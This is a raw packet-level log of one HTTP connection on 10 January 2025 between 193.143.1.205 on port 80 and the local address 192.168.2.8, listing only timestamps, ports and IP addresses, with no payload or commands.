Jan 10, 2025 23:51:48.291358948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.291371107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.291433096 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.317950964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.317971945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.317984104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.317995071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.318007946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.319307089 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.319307089 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.322566986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.322593927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.322604895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.322624922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.322635889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.322648048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.322660923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.322688103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.322700977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.322700977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.322773933 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.322810888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.322851896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.322884083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.322896004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.323012114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.323012114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.360543966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.360559940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.360806942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.360855103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.360867023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.360886097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.360893011 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.360893011 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.360898018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.360965014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.360975027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.361001968 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.361001968 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.361071110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.361124992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.361135960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.361148119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.361172915 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.361172915 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.361819029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.361841917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.361851931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.361862898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.361886978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.361891031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.361891031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.361912966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.361923933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362087011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362107992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362162113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.362162113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.362162113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.362340927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362353086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362366915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362386942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362399101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362466097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362535000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362554073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362566948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362576962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362584114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.362584114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.362584114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.362584114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.362689972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362703085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362715006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362725973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362736940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362768888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.362768888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.362768888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.362900019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362921000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362931967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362966061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362977982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.362988949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.363015890 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.363015890 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.363015890 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.363096952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.363109112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.363121986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.363132954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.363286972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.363325119 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.363325119 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.363325119 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.363347054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.363360882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.363379002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.363390923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.363401890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.365338087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.365339041 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.365776062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.365833998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.365890980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.365909100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.365920067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.365931034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.365932941 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.365932941 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.365945101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.365963936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.365997076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366008043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366019964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366031885 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.366031885 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.366031885 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.366061926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366074085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366087914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366101980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366240025 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.366240025 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.366240025 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.366456032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366468906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366480112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366492033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366503954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366513968 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.366514921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366527081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366538048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366550922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366580009 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.366590023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.366692066 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.366740942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366754055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366765976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366800070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366811991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366848946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366861105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366872072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366894960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.366894960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.366894960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.366894960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.366946936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366959095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366970062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366981030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.366992950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.367005110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.367021084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.367027044 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.367027044 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.367027044 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.367033005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.367046118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.367125034 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.367125034 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.367635012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.367650986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.367662907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.367672920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.367731094 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.377870083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.377899885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.377918959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.377932072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.377943039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.377955914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.377966881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.377979040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.377980947 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.377980947 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.382092953 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.405424118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.405448914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.405459881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.405471087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.405483007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.405493975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.405505896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.405517101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.405569077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.405570030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.410130024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.410209894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.410227060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.410240889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.410252094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.410264969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.410281897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.410285950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.410285950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.410293102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.410305977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.410317898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.410330057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.410335064 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.410342932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.410377026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.410387039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.410401106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.410401106 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.410401106 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.410502911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.419323921 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.448576927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.448601961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.448615074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.448626041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.448637962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.448648930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.448661089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.448740005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.448740005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.448740005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.449280977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.449302912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.449315071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.449333906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.449352026 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.449353933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.449385881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.449395895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.449407101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.449414968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.449476957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.449476957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.449476957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.449884892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.449897051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.449909925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.449928045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.449945927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.449958086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.449969053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.449994087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.449994087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.449994087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450021982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450032949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450051069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450068951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450079918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450095892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450108051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450118065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450129032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450129986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450129986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450129986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450129986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450146914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450158119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450169086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450208902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450220108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450232029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450252056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450252056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450252056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450252056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450268030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450279951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450540066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450624943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450634956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450644970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450655937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450663090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450663090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450663090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450675964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450687885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450699091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450711012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450721025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450735092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450747013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450762033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450773954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450789928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450789928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450789928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450789928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450789928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450808048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450819016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450841904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450867891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450891018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450901031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450927973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450959921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450961113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450961113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450961113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450961113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.450970888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.450982094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451080084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451091051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451102972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451127052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451138020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451149940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451168060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451179028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451179981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.451179981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.451179981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.451179981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.451193094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451250076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451261044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451272011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451327085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451350927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451361895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451375008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451395035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.451395035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.451395035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.451395035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.451395035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.451406956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451419115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451430082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451580048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451597929 CET	80	49706	193.143.1.205	192.168.2.8
